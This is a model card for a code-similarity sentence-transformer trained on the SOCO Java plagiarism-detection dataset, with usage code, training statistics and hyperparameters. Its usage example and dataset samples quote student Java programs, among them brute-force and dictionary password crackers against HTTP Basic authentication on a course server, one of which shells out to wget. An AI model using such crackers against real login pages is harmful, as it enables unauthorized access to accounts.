SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: huggingface/CodeBERTa-small-v1
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2")
# Run inference
sentences = [
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char pwdArray [] = {\n\t \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t \'W\', \'X\', \'Y\', \'Z\', \' \'\n };\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8890, 0.4446],
# [0.8890, 1.0000, 0.4257],
# [0.4446, 0.4257, 1.0000]])
Training Details
Training Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 34,368 training samples
- Columns:
anchor_code
,positive_code
, andnegative_code
- Approximate statistics based on the first 1000 samples:
anchor_code positive_code negative_code type string string string details - min: 51 tokens
- mean: 465.94 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 466.25 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 458.71 tokens
- max: 512 tokens
- Samples:
anchor_code positive_code negative_code import java.util.;
import java.io.;
public class WatchDog {
public WatchDog() {
}
public static void main(String args[]) {
DataInputStream newin;
try{
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"};
while(true){
Thread.sleep(246060*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
...import java.util.;
import java.io.;
import javax.swing.text.html.;
public class WatchDog {
public WatchDog() {
}
public static void main (String args[]) {
DataInputStream newin;
try{
System.out.println("ishti");
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"};
while(true){
Thread.sleep(2460601000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() ...
import java.net.;
import java.io.;
import java.util.*;
public class BruteForce{
private static URL location;
private static String user;
private BufferedReader input;
private char [] password = {'A', 'A', 'A'};
private int noLetters = 3;
public BruteForce() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e)...import java.util.;
import java.net.;
import java.io.*;
public class BruteForce
{
boolean connected = false;
int counter;
String[] chars = {"a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p",
"q","r","s","t","u","v","w","x",
"y","z","A","B","C","D","E","F",
"G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V",
"W","X","Y","Z"};
Vector combinations = new Vector();
BruteForce()
{
counter = 0;
this.genCombinations();
this.startAttack();
}
public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)combinations.elementAt(counter-1));
counter = combinations.size(...import java.util.;
import java.net.;
import java.io.*;
public class Dictionary
{
boolean connected = false;
int counter;
Vector words = new Vector();
Dictionary()
{
counter = 0;
this.readWords();
this.startAttack();
}
public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)words.elementAt(counter-1));
counter = words.size();
}
}
}
public void readWords()
{
String line;
try
{
BufferedReader buffer = new BufferedReader(
new FileReader("/usr/share/lib/dict/words"));
line = buffer.readLine();
while(line != null)
{
if(line.length() <= 3)
...import java.net.;
import java.io.;
public class BruteForce
{
public BruteForce(String u,String uname) throws Exception
{
String pass="";
try
{
String []chr={"a","b","c","d","e","f","g","h","i","j",
"k","l","m","n","o","p","q","r","s","t",
"u","v","w","x","y","z","A","B","C","D",
"E","F","G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V","W","X","Y","Z"};
URL url=new URL(u);
PasswordAuthentication pa;
MyAuthenticator =new MyAuthenticator();
HttpURLConnection h;
int c=0;
for(int i=1;i<=52;i++)
{
c++;
pass=""+chr[i-1];
pa=new PasswordAuthentication(uname,pass.toCharArray());
h.setPasswordAuthentication(pa);
Authenticator.setDefault();
h=(HttpURLConnection)url.openConnection();
h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));
System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");
if(h.getResponseCode() != 401)
throw...import java.net.;
import java.io.;
import java.;
import java.Runtime.;
import java.Object.;
import java.util.;
import java.util.StringTokenizer;
public class ReadFile
{
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
Vector in = new Vector();
public void loadFile()throws NoSuchElementException, IOException
{
System.out.println("in loadFile");
try{
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{
int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();
if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println("File Loaded Succesfully");
}
}
}
public Vector getVector()
{
return in;
...import java.net.;
import java.io.;
import java.;
import java.Runtime.;
import java.Object.;
import java.util.;
import java.util.StringTokenizer;
public class makePasswords
{
public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...package java.httputils;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
public class WatchDog
{
protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
protected int interval = 24;
protected String URL = "http://www.cs.rmit.edu./students/";
protected String fileName = "WatchDogContent.html";
protected String command = "./alert_mail.sh";
protected String savedContent;
protected String retrievedContent;
public WatchDog()
{
super();
}
public void run() throws Exception
{
HttpRequestClient client = null;
System.out.println(getClass().getName() +
"Retrieving baseline copy of: " + getURL());
client = new HttpRequestClie... - Loss:
CachedMultipleNegativesRankingLoss
with these parameters:{ "scale": 20.0, "similarity_fct": "cos_sim", "mini_batch_size": 32, "gather_across_devices": false }
Evaluation Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 8,592 evaluation samples
- Columns:
anchor_code
,positive_code
, andnegative_code
- Approximate statistics based on the first 1000 samples:
anchor_code positive_code negative_code type string string string details - min: 51 tokens
- mean: 465.22 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 464.66 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 458.05 tokens
- max: 512 tokens
- Samples:
anchor_code positive_code negative_code
import java.util.;
import java.io.;
public class WatchDog
{
public static void main(String args[])
{
Runtime rt1 = Runtime.getRuntime();
Process prss1= null;
try
{
prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
}catch(java.io.IOException e){}
MyWatchDogTimer w = new MyWatchDogTimer();
Timer time = new Timer();
time.schedule(w,864000000,864000000);
}
}
import java.util.;
import java.io.;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}import java.net.;
import java.io.;
import java.util.Vector;
import java.util.Date;
import java.security.;
public class Dictionary {
public static BufferedReader in;
public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES1000*60;
boolean timedOut=false;
boolean found=false;
Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());
while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}
String password = "";
...
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class MailsendPropertyHelper {
private static Properties testProps;
public MailsendPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
testProps.load(fis);
}
}
}
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}
import java.net.;
import java.io.;
import java.Ostermiller.util.;
import java.util.;
public class MyClient2 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private BruteForce myMaster;
public MyClient2(BruteForce bf , int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
...import java.io.;
import java.net.;
import java.util.*;
public class Dictionary
{
public static void main (String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
String password="";
int requests=0;
try
{
FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);
password=buf.readLine();
while (password != null)
{
if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}
password = buf.readLine();
}
}
catch (IOException ioe)
{
}
return password;
}
private static boolean testPassword(String password, double startTime, int requests)
{
try
{
U...import java.io.;
import java.net.;
import java.util.*;
public class BruteForce
{
public static void main(String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
char first, second, third;
String password="";
int requests=0;
for (int i=65; i<123; i++)
{
requests++;
first = (char) i;
password = first + "";
if (testPassword(password, startTime, requests))
return password;
for (int j=65; j<123; j++)
{
requests++;
second = (char) j;
password = first + "" + second;
if (testPassword(password, startTime, requests))
return password;
for (int k=65; k<123; k++)
{
requests++;
third = (char) k;
password = first + "" + second + "" + third;
if (test...
import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.;
import java.net.;
import java.util.*;
public class Dictionary {
public Dictionary(String url, String dictionaryFile) {
try{
this.url = url;
this.dictionaryPath = dictionaryFile;
InputStream fis = new FileInputStream(this.dictionaryPath);
dict = new BufferedReader(new InputStreamReader(fis));
}catch(IOException ioe){
System.out.println("Error opening dictionary file:\n" +ioe);
}
}
private String url = null;
private String dictionaryPath = null;
private BufferedReader dict = null;
private int attempts = 0;
private int passwordSize = 3;
public void setPasswordSize(int size){
this.passwordSize = size;
}
public String getNextPassword()throws IOException{
String line = dict.readLine();
while(line!=null&&line.length()!=this.passwordSize )
line = dict.readLine();
return line;
}
publ... - Loss:
CachedMultipleNegativesRankingLoss
with these parameters:{ "scale": 20.0, "similarity_fct": "cos_sim", "mini_batch_size": 32, "gather_across_devices": false }
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 256learning_rate
: 2e-05num_train_epochs
: 1warmup_ratio
: 0.1fp16
: Truebatch_sampler
: no_duplicates
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 256per_device_eval_batch_size
: 8per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 2e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1.0num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.1warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}parallelism_config
: Nonedeepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torch_fusedoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsehub_revision
: Nonegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseliger_kernel_config
: Noneeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: no_duplicatesmulti_dataset_batch_sampler
: proportionalrouter_mapping
: {}learning_rate_mapping
: {}
Training Logs
Epoch | Step | Training Loss |
---|---|---|
0.7407 | 100 | 0.5434 |
Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
CachedMultipleNegativesRankingLoss
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}
- Downloads last month
- 11
Model tree for buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2
Base model
huggingface/CodeBERTa-small-v1